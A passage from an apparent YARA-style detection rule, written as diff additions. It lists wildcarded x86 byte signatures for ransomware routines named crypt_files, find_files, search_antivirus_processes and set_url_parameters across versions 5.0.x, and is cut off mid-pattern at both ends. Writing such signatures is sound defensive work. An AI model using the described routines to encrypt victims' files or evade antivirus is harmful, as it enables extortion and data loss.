?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? + ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A + ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B E5 5D C3 + } + $url_parameters_setup_v5_0_1 = { + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? + ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A + ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B E5 5D C3 + } + $crypt_files_v5_0_1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? + ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ?? + ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0 + 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB + ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68 + ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? + 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? + ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57 + C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55 + ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 + ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? + ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? + ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? + ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 + ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? + ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? + 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? + ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 + ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 + C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 + C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 + 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 + FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B + CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? + FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? + ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF + D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75 + ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01 + 8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? + ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $find_files_v5_0_1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 + 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 + ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? + 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 + 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF + ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 + ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF + 15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? + 85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? + ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE + E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? + ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $search_antivirus_processes_v5_0_1 = { + 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ?? + 33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB + ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D + 58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D + 0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? + ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 + 33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D + ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? + ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 + } + $set_url_parameters_v5_0_2 = { + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A + ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? + ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A + ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B E5 5D C3 + } + $set_url_parameters_v5_0_3 = { + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 + ?? 8B 45 ?? 8D 8C 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? + 75 ?? 6A ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF + 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? FF 35 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 + ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + D1 E0 A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? D1 E0 8B D0 8B 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 73 ?? 83 65 ?? ?? 68 ?? ?? ?? ?? 8D + 45 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? FF 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? + 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 83 7D ?? ?? 74 ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B E5 5D C3 + } + $search_antivirus_processes_v5_0_2 = { + 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? BB ?? ?? ?? ?? 57 6A ?? 53 68 ?? ?? ?? ?? + 33 C0 50 FF D6 8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? FF D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB + ?? 56 33 C9 89 5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D + 58 ?? 8D 46 ?? 50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 37 FF 15 ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D + 0C 41 8B 45 ?? 81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? + ?? ?? ?? 85 C0 74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 + 33 C9 66 39 08 74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D + ?? 89 08 68 ?? ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? + ?? 85 DB 75 ?? 68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2 + } + $find_files_v5_0_2 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 + 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 + ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? + 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50 + 6A ?? 56 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 75 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? + ?? ?? 89 44 24 ?? 8B 4C 24 ?? 33 D2 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D + 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 44 + 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? + ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? + ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 8B + 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B + 8B E5 5D C3 + } + $crypt_files_v5_0_2 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ?? + ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ?? + ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0 + 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB + ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A + ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68 + ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? + 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? + ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57 + C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55 + ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 + ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? + ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? + ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? + ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 + ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? + ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? + 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? + ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 + ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 + C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 + C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 + 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 + FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B + CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? + FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 